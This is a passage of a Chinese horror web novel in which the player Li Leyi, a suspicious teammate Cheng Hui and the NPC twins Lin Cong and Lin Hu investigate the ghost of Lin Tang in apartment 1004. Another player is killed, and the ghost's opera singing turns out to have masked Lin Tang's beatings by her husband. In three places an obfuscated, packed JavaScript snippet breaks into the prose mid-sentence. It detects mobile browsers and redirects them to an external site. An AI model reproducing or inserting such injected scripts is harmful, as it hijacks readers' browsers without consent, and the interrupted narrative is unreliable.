他说这话时,视线意有所指地朝梨乐一身后站着的林互看去,经他这么一提醒里,玩家们这才注意到了站在梨乐一身后一直没有说话的林互。 林互懒懒地抬眼看向人群后面色不善的朱力栋,没有要开口为自己辩解什么的意思。 “为什么副本里的NPC会在这里?” 11. 情终 大家都默认副本里的NPC就是受副本操控、提前设置好了表演程序的演员,并没有多少的自我意识,因此在说话时也不避着林互,“副本”、“NPC”之类的词语一个接着一个的往外蹦。 话语中隐隐有种作为玩家,和NPC不同的高高在上感。 但梨乐一知道,林互压根就不是普通的副本NPC,他是副本活祖宗(嘴剧毒版)。 而且林互和林丛作为在玩家之前最后一户搬进楼里的住户,对之前每一批进来的玩家都有印象,明显就是不受副本控制的自由人。 说不定,经历过几批玩家的林丛林互对于副本的规则,比他们这些玩家还要熟悉一些。 但梨乐一如果实话实说,大家肯定不会信。 “这个嘛……” 梨乐一开始头脑风暴:“他是……” “他是……副本里的……热心群众,知道我们在调查楼里的灵异事件,特意来帮助我们的。” 梨乐一说完,后背便没出息地冒出了冷汗,因为她怕林互在听到自己的话后来一句“你们这群蠢货,自己搬进来找死还要拖人下水,做梦”之类的话,不利于稳定军心。 好在林互听到她的话只是轻嗤了一声,没有反驳。 梨乐一悄悄松了一口气。 成晖看了看默不作声的林互,又看向着急忙慌帮他解释的梨乐一,垂下眼没有多说什么。 离开一楼大厅,梨乐一再次回到了302房间。 小南的尸|体已经不见了,是副本“处理”掉的,毕竟在副本里死了人,如果尸|体一直留在原地,这躺一具那躺一具,这边丢个手那边丢个腿,都不用【怨】出面,玩家们光是看着残肢断臂就能把自己吓个半死。 然而在302房间里,那滩血迹依旧存在。 梨乐一快步上前。 副本在处理尸|体时,都会非常专业地将血迹以及遗留痕迹给一并处理了,就像前一天晚上死在电梯里的许宗良一样,但是今天却一反常态地将那滩血迹保留了原本的样子,一动未动。 这是怎么回事? 和梨乐一不同,成晖在看到地上的那滩血迹时,便已经明白了副本为什么要将其留下的原因。 其实这不怪梨乐一脑子转得慢,而是她作为副本冥灯,在之前的副本里死得都很快,无一例外都是进入副本后第一个死的人。 只有别人看她“尸|体”的份,她看别人的尸|体还是头一回。 因此她不知道,在副本里,偶尔会有尸|体或者现场痕迹没有被副本及时“处理”掉的情况发生,原因很简单,那就是尸|体或现场痕迹上有重要的线索,但玩家还没有发现。 这是【怨】的副本对玩家们为数不多的仁慈。 想到这里,成晖大步上前蹲在血迹旁边,仔细地寻找起来,另一边还不忘对懵逼的梨乐一解释这一状况。 梨乐一了解缘由过后也马上帮着寻找起来,她刚一蹲下,身边紧跟着便沉沉地压下来一道阴影。 梨乐一转头看着蹲在她身旁的林互,眼中写满了无奈:“哥,你怎么还在啊?” 林互表情淡淡的:“我比你小,少来占我便宜,还有——” 他转头对上梨乐一的视线,忽地展露出一个灿烂但没什么温度的笑容:“不是你说的么?我这个热心群众非常‘好心’地想要帮助你们,那我现在在这里有什么问题吗?” 梨乐一:“……没有问题。” 跟林互斗完嘴,梨乐一便全身心地投入在了找线索里,这条线索是小南拼死都要给他们留下的,说不定可以帮助成晖他们后续成功离开这个副本,一定要找到才行。 很快,梨乐一便眼尖地发现在这摊血迹里,有一个类似于符号的痕迹。 她立刻将其指出来,而后三个人换了不同的角度左看右看,最终确认下来,这是一个数字“2”。 关于数字“2”,梨乐一最先想到的就是2楼。 事不宜迟,三人立刻去到2楼,不过他们把2楼翻了个遍,也没发现什么古怪的地方。 梨乐一感到十分迷茫,如果这个2指的不是2楼,难道是某个门牌号尾数为2的房间? 那找起来就有点麻烦了,毕竟楼内的住户应该不愿意让他们进到自己的家里面去搜查一通。 但如果这个2指的不是楼层或者房间号,又会是什么? 三人这么来回折腾一番,再一看时间,已经一点半了,早就过了吃饭的时间。 梨乐一的肚子后知后觉地开始咕噜噜地叫,成晖见状便主动邀请道:“我之前看到小区门口有一家家常菜馆,看上去生意不错,今天我们找了一上午线索也累了,干脆就去那吃顿好的。” 梨乐一有些犹豫:“但是我冰箱里还有昨天晚上剩下的——” 成晖:“我请客。” 梨乐一:“去,现在就去,我们快走吧。” 走出居民楼,林互仍优哉游哉地走在梨乐一和成晖中间,看架势是要跟他们一起去吃午饭。 成晖没说什么,反倒是梨乐一先开口问他:“你哥哥不叫你回家吃饭吗?” 林互瞥了梨乐一一眼:“他去打球了,晚饭前才会回来。” 梨乐一:……所以这祖宗是一个人待在家里无聊,才会一直跟着她想找点……乐子? 成晖听到梨乐一和林互的对话,眼中眸光闪烁几瞬,今天第一次主动跟林互搭话道:“你还有个哥哥?” 林互从喉咙深处泄出一声轻哼,还未开口,便被热心肠的梨乐一抢答:“对哒对哒,他和他哥是双胞胎。” 成晖冲梨乐一笑笑,收回视线专心走路,没有再继续问林互。 - 吃午饭的时候,成晖也没有闲着,一直在整理分析他们现在所掌握的信息和线索。 但他话语中却没有再提到小南留下的那个数字“2”。 梨乐一只当他是没有头绪,并没多想。 吃完午饭,自打进入副本后任劳任怨,除了搜线索就是找线索的成晖,竟然破天荒地主动提出要回去休息一下。 梨乐一正好也想好好计划一下晚上的“作死大计”,和成晖一拍即合,回到楼里后,三个人在四楼分别。 进到房间,梨乐一屁股还没沾到沙发,成晖的消息突然发了过来。 【我从阳台翻过来了。】 梨乐一:“……?” 2号房间和3号房间是并排的,阳台也因此连在一起,梨乐一刚看完消息,便听见阳台上传来一声轻轻的落地声。 成晖利索地翻进屋内,也顾不上和梨乐一解释他为什么有门不走而是翻窗,快步走到梨乐一面前: “那个林互有问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286481|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题。” 梨乐一还有点懵,不明白说自己要回去休息的成晖,为什么会从阳台翻到自己家里来,还莫名其妙一上来就说林互有问题。 “你……” 成晖隔着墙看了一眼404房间的方向,压低声音道:“你还记得小南死前留下的那个数字‘2’吗?” 梨乐一点头:“记得,怎么了?” “我现在在想,如果那个‘2’指的不是2楼,也不是尾号为2的房间,那有没有可能,指的是数量?” “这个数量,很有可能是人数。” …… 梨乐一总算跟上成晖的思路了,不过她除了震惊,还是震惊,成晖这是在怀疑林互和林丛吗? “我觉得你也许想多了,林互和林丛都在白天出现过,而且刚才你不是看见了吗,林互和我们一起走在阳光下,他不会是【怨】。” 成晖神情严肃地道:“我没有说林互是【怨】,我只是怀疑他们兄弟两个或许跟这个副本里的【怨】存在着某种联系。” “我之前经历过一个副本,在那个副本里,有一个NPC被【怨】迷惑,先是用他NPC的身份让玩家相信他,然后便引诱玩家触发死亡条件,【怨】再出来收割,在那个副本里,我们差点被团灭了。” 成晖现在说起这件事情都心有余悸。 那个NPC就是利用了玩家无条件对副本内NPC的信任,认为NPC不会撒谎陷害他们的心理设下陷阱,而后引诱玩家一步一步跳入陷阱。 梨乐一见成晖无论是表情还是说话时的语气,都俨然已经确定了小南留下的线索指向的就是双胞胎。 梨乐一不知道该怎么跟成晖解释,总不能把她前两晚的作死经历给抖落出来吧。 成晖见梨乐一许久都没有说话,心里默默叹了口气,耐着性子劝道:“外表越是艳丽的东西,内在就越危险,这是我过了那么多次副本总结出来的经验。” 梨乐一:…… 等等,等一下。 她怎么觉得成晖话里话外都像是在说,她被林互林丛的外表迷惑,色|欲熏心好坏不分? 她怎么可能会是那样的人呢?! 梨乐一觉得自己还是有必要解释一下的:“成晖,你——” 成晖打断梨乐一的话:“乐一,你和那对双胞胎究竟是怎么认识的?又是怎么产生交集的?” “那个……”梨乐一舔了舔干涩的嘴唇,弱弱地开口,“其实,我就是在楼里找线索时认识的他们,他们都是好人,不会做出伤害玩家的事情的。” 见梨乐一始终不相信自己说的话,成晖皱眉,耐着性子劝道:“你仔细想想,从你认识双胞胎以来,就真的没在他们身上发现过什么不对劲的事情吗?” 梨乐一下意识地开口想否认,却猛地顿住。 有的,不对劲的事情,其实是有的。 林丛和林互保留了之前所有进入副本的玩家相关的记忆,他们两个是这个副本里,唯二的副本结束后、没有被清除记忆的NPC。 而且他们每天晚上都能精准地在自己作死前拦住自己。 跟副本里的其他NPC比起来,林丛林互的确是十分特殊的存在。 梨乐一心里不禁开始打起鼓来。 但如果林丛林互真的有问题,那前两个晚上又为什么要救她? 12. 情终 从内心深处的第六感出发,梨乐一是绝对信任林丛林互的,不相信他们会害自己,以及所有进入这个副本的玩家。 但是在危险重重的副本里提第六感显然是件十分可笑的事,梨乐一努力使自己站在一个中立的角度去回答成晖的那些问题。 “成晖,我知道你的担心,你可以警惕防备林氏兄弟,但是请先不要那么笃定地下定论,认为林氏兄弟一定是坏的。” “毕竟小南留下的那个信息,有可能是指向【怨】的,也有可能是指向结束这一切的线索不是么?” 不知道是不是梨乐一的错觉,在她说完话后,成晖眼中似有失落的情绪闪过,不过很快便被他用平淡掩饰了过去。 “也许这次真的是我杯弓蛇影了吧,不好意思。” 梨乐一安慰他:“你不用自责,在副本里警惕一切陌生的人和事物是再正常不过的行为,你所做的一切也是为了能尽快带领大家离开副本。” 成晖笑着摇了摇头,没再说话。 时间很快来到晚上。 众人今天一天收集到的和副本【怨】有关的线索,除了小南的死就没有其他的了。 玩家们对于副本背后真相的探寻陷入了停滞不前的境地。 大家其实都知道,这几天他们把楼里能找的地方都找遍了,能问的人也都问了个遍,他们现在能从楼里得到的信息少之又少。 真正重要和关键的线索,只有可能会在1004里。 但之前进入1004的经历,让众人心里都在一定程度上形成了不小的心理阴影,所以大家都默契地不再提起进入1004搜查的事。 虽然他们知道,到了副本后期,副本对于【怨】的约束会越来越少,到时候他们为了活下去,也必须进入1004。 等众人都回到各自的房间之后,403的门又双叒在黑暗中被慢慢推开了。 经过一下午的深思熟虑,梨乐一将作死方案2.0升级优化为了3.0,那就是——在天黑之后,唱戏声出现之前躲进1004里面。 这样的话,她就不怕在楼道里被【怨】截胡,影响她的作死大计了。 梨乐一在出门前不停地在心中祈祷,千万别又碰见林丛,千万别又碰见林丛。 林互也不行! 或许是她的诚心感动了上天,她一直到关上门,悄悄摸摸溜进楼道,隔壁404都没有一点动静。 梨乐一的心跳因为激动逐渐加速。 终于,终于,她这个副本冥灯能再次发光发热,照亮全部玩家了! 她打开手机的手电筒用作照明,放轻脚步快速朝着十楼走去。 手电筒投射|到地上的光圈摇摇晃晃,随着脚步声一点一点跃上台阶,照进昏暗的、积满了厚厚灰尘的十楼平台。 上到十楼后,光圈的移动速度明显放缓。 地面上遍布着凌乱的脚印,这是他们白天上十楼来查看门上符纸时留下的,当然也有昨天留下的脚印。 视线上移,黑暗中,朱红色的大门亮的醒目,透露着一种说不出的诡异感。梨乐一深吸一口气,迈着坚定又悲壮的步伐来到门前。 咔哒一声轻响,门锁被打开,一阵阴风从门缝里吹出来,梨乐一忍不住打了一个寒颤。 她小心翼翼地从门缝挤进屋内,而后将大门轻轻关上。 门关上的瞬间,一切细微的声音都被隔绝在门外,呼吸声在耳边不断放大,梨乐一在骤然安静下来的环境中,恍然生出一种错觉,无论她在这间屋子里怎样尖叫,就算叫破喉咙外面人也不会听到的错觉。 梨乐一没有立刻朝屋内走,而是先举着手机,借助手电筒的光观察1004里的情况。 仍是和前一天进来时一模一样,屋内摆设整洁干净,但就是缺乏了点人气,丝毫看不出以前有人在这里面生活过的痕迹。 梨乐一踩着嘎吱作响的地板往前一天众人撞鬼的走廊走去。 不知道是不是太害怕产生了错觉,梨乐一感觉随着离走廊越来越近,周围的温度似乎也在逐渐变低。 等她走过餐桌马上就能看到走廊深处的景象时,手抖的都快拿不稳手机了,光束摇摇晃晃地朝走廊深处照去。 在光照不到的地方,黑暗无声地流淌着,导致明明不是很长的走廊,却莫名给人一种幽深看不见尽头的感觉。 光束缓缓上移到墙上,林棠的照片消失了,墙面崭新洁白,看不出丝毫痕迹。 梨乐一定了定神,抬脚迈进走廊。 她先进到主卧。 主卧的布置十分简单,只有床,衣柜以及一个带着化妆镜的梳妆台。 床上被子叠的整整齐齐放在床头,衣柜里只有男士的衣服没有女士的。 梨乐一又来到梳妆台前,她拉开抽屉,意料之中的空空如也。 原因并不难猜,王力在林棠死后,被她的鬼魂缠上,所以害怕恐惧到将屋子里所有关于她的东西都丢掉了。 梨乐一轻轻搓去指尖沾到的灰尘,抬头看见梳妆镜里映照出来的自己的同时,也看清了身后那道不知何时,悄然无声出现在卧室门口的白色身影。 “风云、易测——人心、难信——” “寸寸相思、化、灰、尘——” 在梨乐一看见那道白色身影的瞬间,熟悉的唱戏声随之响起。 只是唱戏声非常微弱,从一开始便离她非常远,似乎是从楼下传来的,如果不仔细去辨别的话,梨乐一甚至会认为这是自己精神太过于紧绷而产生的幻觉。 她之前一直以为夜晚的唱戏声是从1004开始的,但现在看来,应该是在楼里随机刷新起始点。 不过现在不是纠结唱戏声从哪里开始的时候,因为透过梳妆镜,梨乐一看见卧室门口的那道身影正缓缓朝自己所在的方向转过头来。 梨乐一鼓起勇气猛地回头,预想中鬼怪突脸的画面却没有出现,卧室门口那道白色身影消失不见了。 她立刻追了出去,但并没有在屋内找到那抹白色的身影,她不免感到奇怪。 就刚才那种恐怖片里标准的必死套路都能让她活下来?倒是也不用在这种时候让她的运气突然变好吧…… 梨乐一一边叹气,一边举着手电筒准备去其他的房间再找找看有没有什么重要线索,脚下却突然踩到了什么黏黏糊糊的东西。 她低下头,呼吸一滞。 之前只有灰尘的地板上现在遍布黏稠深红的血液,而走廊的墙壁上到处都是呈喷溅状的血迹。 同一时间,204房间内。 晚上睡觉之前,朱力栋从卫生间一块松动的瓷砖下拿出自己白天藏起来的符纸,在大门处贴了一张,又在房间的窗帘处贴了一张,做完这一切准备之后,他便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286482|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安心地在床上睡下了。 昨天晚上,在楼里唱戏的【怨】的确找上了朱力栋,它就站在卧室窗户外,但由于窗帘被拉上了,朱力栋只能听见唱戏声,看不见窗户外的【怨】。 刻意拖长的尖细嗓音像是老化的琴弦,在朱力栋那根紧绷到极限的神经上来回拉扯着。 因为视觉上的未知,恐惧被无限放大。 他身上鸡皮疙瘩一波接着一波地炸起,寒意化作尖锐的冰锥刺进皮肤,整个人仿佛掉进了深不见底的冰窟里。 朱力栋惊惧交加之下,掏出早晨从1004门上撕下的符纸就朝窗户那里扔去。 扔出符纸时,朱力栋其实是不抱什么希望的。 但那张符纸在靠近窗户的瞬间,一股火苗凭空窜起,唱戏声有片刻的停顿,随即便弱了下去,直至彻底消失。 朱力栋仍旧维持着扔符纸的动作,过了许久,也许只过了几分钟,他才终于缓过神来,整个人脱力地瘫倒在床上。 在那之后,他便抱着被子缩进了衣柜里。 也是因为前一晚上死里逃生的经历,朱力栋在第二天早上醒来之后,趁着其余玩家都下楼集合的空档,偷偷溜上十楼把符纸全部都撕了下来。 有了这些符纸,他心安了不少,认为自己再撑过两个晚上不是问题。 因此,朱力栋今晚早早地便上了床。 “风云、易测——人心、难信——” “寸寸相思、化、灰、尘——” 噩梦般尖细凄厉的嗓音再一次在卧室里响起,只不过这一次,这个声音不是在窗外,而是在屋内。 朱力栋猛地睁开眼。 黑暗中,他感觉到有什么东西轻轻扫过他的脚腕。房间里的温度不知道什么时候冷的像冰窟一样,他感觉到自己的四肢仿佛被冻住,只有眼珠子还能自由转动。 他缓缓朝脚边看去。 哗啦。 窗帘被风扬起,落下时扫过朱力栋露在被子外的脚上。 “我与他,萍水相逢结成婚姻。” “夫妻相爱……” 再细看,窗帘却不是被风扬起的,因为朱力栋看到了在扬起的窗帘之下,随着戏曲声翩翩摇曳的大红色裙摆。 朱力栋头皮瞬间炸开。 怎么回事?昨天不是还是在窗户外吗,为什么今天就进到屋里来了? 朱力栋睡前贴在窗帘上的符纸早就不知踪影,他慢慢朝床的另一边退,同时手伸到枕头底下去摸剩下的两张符纸。 “实指望生死祸福与他共命,谁知晓……” “知人知面不——知——心——” 戏曲声字字凄厉,只可惜朱力栋现在并没有心思去听,他摸到符纸后将其迅速捏在手里,冲着窗帘上那道正在僵硬舞动的剪影扔去。 符纸还未靠近窗帘,在半空中便化为了一股火焰,戏曲声有一瞬的扭曲,窗帘后随之传来“咔”的一声轻响。 紧接着,朱力栋便看见窗帘上那道剪影的脑袋突然毫无生气地往左边一歪,头上戴的钗环因为剧烈的动作窸窸窣窣地响着。 下一瞬,窗帘无风自动,朱力栋也终于得以看清一直隐在窗帘背后的那张脸。 女人的脸就跟墙面一样惨白,眼睛周围涂着一圈大红色的油彩,白与红的极致对比让那双没有眼白的眼睛看上去,像是能吞噬一切的黑洞。 13. 情终 朱力栋恐惧到了极点,嘴唇开合却发不出一点声音。 他眼睁睁地看着那两个黑洞中缓缓流出猩红的鲜血,女人的嗓音变得越来越尖利凄楚。 “害得我,上天无路,入地无——门。” “似这等负心人神人共愤。” “望神圣主正义施恻隐,与我……把冤伸。” 朱力栋手中紧紧捏着最后那张符纸,将它朝窗边扔去时,唱戏声一顿,朱力栋终于得到了一丝可供喘息的缝隙。 “啊——” 他大吼一声,不敢在卧室里多待,连滚带爬地跑了出去。 朱力栋还记得大门上贴有一张符纸,他出了卧室不敢停留,跌跌撞撞地朝大门跑。 当他把大门上的符纸撕下来的一瞬间,卧室内传出的唱戏声戛然而止。 耳边回归一片死寂。 朱力栋却不敢放松警惕,整个人蜷缩在门边,手里紧紧地捏着仅剩的那张符纸,眼睛一瞬不瞬地盯着那扇半掩的卧室门。 “咚咚咚!” 身后的大门冷不丁被敲响,朱力栋吓得心脏骤停。 他惊恐地转身盯着大门,原以为是窗帘后面的那个【怨】转移到了门外,正欲将符纸丢过去,却不想听到了和他同住一层楼的郝雯的声音。 “朱力栋,朱力栋,你没事吧?我刚才在屋子里听到你突然尖叫,发生什么事了?” 朱力栋仿佛落水者看到了唯一一根救命稻草一般,即便他现在腿软得站不起来,四肢并用也要爬过去给郝雯开门。 “郝、郝雯,你……” 朱力栋跪在地上推开门,仰头朝门外看去。 门外漆黑一片,根本看不见外面站着什么人,所有的光源都被黑暗吞没。 朱力栋试探地叫了一声:“郝、郝雯?” …… 无人应答。 朱力栋心里咯噔一下,连忙退回门内想要把门关上,但门却像是被什么东西死死卡住了一样,保持半开的状态纹丝不动。 啪嗒。 朱力栋感觉到似乎有水滴落在了自己的头上。 嗡,耳边瞬间炸开一片嗡鸣,巨大的恐惧将朱力栋死死压在原地,他表情近乎麻木,忘记了尖叫逃跑,机械地仰头朝上看去。 “怎么会……” 在死前的最后一秒,朱力栋不敢置信地瞪大了眼睛。 - 十楼,1004。 浓烈的血腥味扑面而来,梨乐一缓缓转身,不敢置信地看着在一瞬间大变样的房间。 十分钟前空空荡荡、没有人气的房间,此刻被大片大片猩红的血液覆盖,而梨乐一脚下踩着的血液则是从她刚才所在的卧室延伸出来,扭曲着蔓延向客厅,看上去就像是一个人在地上被拖行时留下的。 梨乐一顺着痕迹来到客厅。 沙发后面的墙上此时多出了一个巨大的相框,相框里应该是林棠和王力的结婚照,林棠靠在王力的怀中,本该笑得幸福又温柔。 本该。 此刻林棠的面容被血色覆盖,看上去只让人觉得凄凉萧瑟。 梨乐一仰头出神地看着照片里的林棠,不明白当初让她觉得幸福的婚姻怎么会走到今天这种地步。 就在梨乐一看得出神的时候,思绪突然被一阵细微的声音打断。 这是钥匙插|入锁孔后转动的声音。 梨乐一心里咯噔一下。 现在这栋楼里能用钥匙打开1004大门的人,似乎只有已经算不上人了的、林棠的【怨】。 想到这一点的同时,梨乐一后知后觉地发现,楼内的唱戏声不知道在什么时候停止了。 静谧的黑暗里,只剩下门口传来的窸窸窣窣的动静。 门,被人从外缓缓拉开了,梨乐一呼吸随之停滞。 叮铃铃,叮铃铃。 伴随着某种金属碰撞发出的细碎空灵的声响,门外的黑暗里,逐渐浮现出一道鲜红浓烈的身影。 女人脸上红的白的油彩和血迹混作一团,触目惊心,根本看不出她原本的长相。她身上穿的大红色戏袍花纹繁复,披肩上垂下的流苏随着她的动作微微晃动,长长的水袖拖在地上,开门动作僵硬,远远看上去像是一个被人操控的提线木偶。 梨乐一害怕之余注意到,女人红色戏袍的花纹上有几个显眼的大洞,像是被火灼烧出来的。 她站在门外,那双空洞无物的眼睛定定地注视着屋内的梨乐一,又好似越过她,注视着其他的什么东西。 梨乐一后背炸起一层又一层的鸡皮疙瘩,空气中沉沉的威压压得她快站不住脚,就在她既害怕,又兴奋的做好了迎接死亡的准备时—— 女人抬脚走进屋内,下一秒她身上便发生了翻天覆地的变化。 大红色的戏袍不见了,脸上猩红渗人的血迹和油彩也不见了,女人身上的衣服变成了米白色的针织衫和长裙,长发梳在脑后,看上去温婉又大方。 唯独那双多了眼白的眼睛,却依旧和变化之前一样,空洞无物且死气沉沉。 梨乐一愣了一会才反应过来,这应该便是那个还没有自|杀变成【怨】的林棠了。 她刚才透过梳妆镜看到的应该也是这个时候的林棠。 林棠进屋后似乎并没有看到客厅里站着的梨乐一,径直走向了卧室。 梨乐一本以为这次自己必死无疑,但见林棠看都没有看她一眼,诧异之余意识到什么,立刻跟上林棠去到卧室。 卧室也发生了一些变化。 床尾凌乱地堆放着一些男士的衣物,床头则是也挂了一张林棠和王力的结婚照,梳妆台倒是一如既往的干净,就多了一瓶面霜和一支护手霜。 林棠正坐在床边换衣服,梨乐一毫不避讳地盯着她的背影。 没看多久,梨乐一眉头便皱了起来。 原因无他,林棠脱下衣服后背上都是疤痕,杂乱交错,遍布在她瘦弱的身躯上,旧伤痕上覆盖着新的伤痕,竟然连一块好地都没有。 很快,林棠换好衣服,开始整理起床尾的衣服。她将衣服裤子一件一件地叠好放进柜子里,做完这一切,她坐到梳妆台前涂护手霜。 梨乐一看着她的举动下意识地放轻了呼吸,梨乐一察觉到,这似乎是林棠生前曾经经历过的事情。 经过一番深思熟虑,梨乐一正准备靠近观察林棠,想试试看她是不是真的看不见自己时,异变突生。 一阵突如其来的恍惚过后,再睁开眼,坐在镜子前的人变成了梨乐一自己。 她抬头,和镜中面无表情的林棠对上了视线。 下一秒,林棠的脑袋突然重重地砸在桌上,一下,又一下。 梨乐一吓得猛地站起身,林棠的身影再次出现,就坐在她刚才所坐的地方,和她在镜子里看见的一样,不要命似的将自己的脑袋狠狠地朝桌上撞。 等林棠再抬起头来时,透过梳妆镜,梨乐一看见了一张鲜血淋漓的脸,随后林棠像是支撑不住,软软地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林棠以一个极为扭曲的姿势趴在茶几旁,身上的睡衣沾满了血迹,她瘦弱的身躯不知是因为害怕还是因为疼痛,正在剧烈地颤抖着。 她缓缓转头,那双遍布血丝的眼睛忽然对上了梨乐一看过去的视线。 “救我——” 长久的寂静之后,梨乐一耳边骤然响起一声声嘶力竭的嘶吼,她脑中随之传来一阵剧烈尖锐的疼痛。 紧接着,她眼前一黑。 - 梨乐一原以为自己再次睁开眼,看到的会是熟悉的自己的卧室,却不想醒来后第一眼看到的竟然林丛林互两兄弟黑如锅底的脸。 两人跟石像似的蹲在沙发旁边,吓了梨乐一一跳,梨乐一捂着脑袋坐起身,问:“我睡了多久了?” 林互扯了扯嘴角:“不知道,刚进来就看见你躺在地上,还以为你死了正准备给你烧纸钱呢。” “……” 林丛低头看了眼手机:“从我们进来发现你开始,你只睡了半个小时。” 梨乐一松了口气,还好,也没晕多久。同时她心里感到纳闷,刚才那种情况林棠为什么不对她动手,是因为她还没有满足林棠的杀人条件吗? 林互见梨乐一问完问题就不说话了,冷笑一声嘲讽道:“怎么,没死成很失望。” 梨乐一眼皮一跳,担心再这么下去真让林互猜出点什么,赶忙解释:“我也是为了找线索,迫不得已才进来的。” 林互并没被梨乐一糊弄过去:“想来不能白天来,非得晚上?偏偏在那个鬼魂在楼道里唱戏的时候来?” 梨乐一:“我白天的时候来过,这不什么都没找着么,所以才想晚上来试试。再说了,我这不也没事嘛。” “不过话又说回来,”梨乐一皱眉看着面前相似的两张俊脸,“你们两个又为什么会出现在这里?” 14. 第 14 章 梨乐一记得,无论是她,还是林棠的【怨】,进门之后都把门关上了的,这两兄弟不可能有1004的钥匙,难不成,他们和自己一样,是撬锁进来的? 林互偏过头去咳了两声,林丛顿了顿,语气严肃地道:“说说吧,你刚才为什么会晕倒?” 提起这个,梨乐一顿时来了精神:“当年林棠的死,大概率不是自|杀这么简单。” 梨乐一将刚才自己在1004里看到的情景详细地复述给了双胞胎,说到最后,她若有所思地喃喃道:“也许,当年林棠是被王力给活生生打死的,然后王力将她的尸|体丢下楼,伪装成自|杀的样子。” “而且,像王力打林棠这样的事绝不止发生过一次,林棠背上全是伤疤,肯定都是这些年被王力打留下的。” 王力根本就不像他平时在外人面前表现出来的那样爱林棠,更是和902大婶眼中那个没脾气的老好人大相径庭。 “在我晕倒之前,我听见林棠对我喊让我救她。可是她都已经死了,我该怎么救她?” 林互目光灼灼地看着梨乐一,面朝她在茶几上坐下:“你来这里的任务,就是完成林棠的心愿?” 梨乐一:“唔,也……可以这么理解吧。” 【怨】是因为执念形成的,消除执念,应该也可以理解为是完成【怨】的心愿。 林互不说话了,客厅气氛莫名有些压抑。 片刻后,林丛开口:“林棠已经死了,所以她口中的‘救’,也许跟我们寻常理解的那个‘救’不一样。” 梨乐一点头。 她感觉他们已经离副本的真相很近了,同样的,留给她作死的时间也不多了。 林丛垂眸沉思。 “那什么,刚才我晕倒的时候,屋子里有发生什么诡异的事情吗?”梨乐一一边问,一边伸长了脖子四处张望起来,“你们有看见林棠的【怨】…不是,鬼魂吗?” 林互意味深长地看了她一眼:“没有,我们进来的时候什么都没看见,也什么事情都没有发生。” 梨乐一有些失望地缩回脖子。 林丛突然想到什么:“你刚才说,除了在你晕倒的前一秒听见林棠对你说了一句救她,其余时间,无论是林棠被拖出卧室,还是被打,你都没有听见任何声音?” “对!”梨乐一也想不通这一点。 林互抿了抿唇,猜测道:“或许,是因为林棠鬼魂的力量只够重现画面,不足以再重现声音?” 话落,电视柜旁的老式唱片机突然开始运作起来,熟悉的戏曲唱腔响起。 “风云、易测——人心、难信——” “寸寸相思、化、灰、尘——” 这个唱片机恰好被客厅和阳台之间的窗帘遮挡住,所以梨乐一一开始并没有注意到它。不过梨乐一非常确定,上次白天来的时候,他们并没有在客厅里发现唱片机。 她激动到猛地一下从沙发里站了起来。 来了!终于来了! 林丛林互也站了起来,他俩将梨乐一挡在身后,急的梨乐一直扒拉他俩:“你们让一下行不行,我也想看看到底发生了什么事?” 林丛斜她一眼:“安静。” 梨乐一最后只能从两人的肩膀处露出半个脑袋,盯着唱片机的位置。 但林棠的【怨】没有再出现在屋子里,反倒是唱片机的声音越来越大,大到梨乐一的耳朵已经开始隐隐作痛。 她捂住耳朵,痛苦地蹲在地上。 一片混乱之中,林互大步冲到唱片机旁,不顾还在运作的机器,将唱片拿了起来。 戏曲声戛然而止。 梨乐一缓了好久才缓过来,她想起之前902大婶说的,林棠时常会在晚上听戏曲,声音大到她住在9楼都听得很清楚。 “如果林棠每次听戏曲都是这个音量的话,她耳朵真的不会聋吗?”梨乐一苦中作乐地吐槽道,话说出口,她嘴角的笑倏地顿住。 [你说1004那个女人啊,她没素质的很,几乎天天晚上都在家里听戏曲,声音开得很大,扰民的很。] [声音开得很大,扰民的很……] 梨乐一目光呆滞地蹲在地上,林丛和林互似乎在她耳边说了些什么,但梨乐一耳边除了902大婶的话,再听不到任何的声音。 “声音、很大。” “梨乐一,梨乐一!” 林丛见梨乐一表情不对,嘴里失了神般不停地碎碎念着什么,直接抓着她的肩膀把她从地上提溜起来,不停地摇晃她:“梨乐一!” 梨乐一就像根在风中摇曳的野草般,在林丛的手下疯狂地前后甩头,头发糊了满脸,乍看上去人不人鬼不鬼的。 良久,她那双黑白分明的眼睛才慢慢聚焦起来。 “会不会,刚才林棠展现给我们的情景重现没有声音的原因是——” “她以往被王力打时的呼救声,也从来没有被人听到过?” 就像今晚,即使林棠已经痛得面容扭曲,梨乐一却始终听不到林棠的呼喊一样。 在之前无数个日日夜夜里,因为戏曲声,楼内的住户也从没有听到过林棠痛苦绝望的哭喊。 整栋楼的居民都被王力伪善的外表所蒙蔽,被他塑造出来的好老公的形象所欺骗了。 事实上,在晚上放戏曲的并不是林棠,而是王力。 而他放戏曲的原因很简单,用巨大的戏曲声盖住林棠因为痛苦而发出的哭喊和求救声。 林丛松开了梨乐一的肩膀,梨乐一身体摇晃了两下,随即无力地跌坐到了沙发里。 林互回到沙发旁,手里除了那张唱片之外,还提着一个黑色的塑料袋,这是他在窗帘背后发现的。 塑料袋里装的全部都是相框,林互将相框一股脑地倒在茶几上。 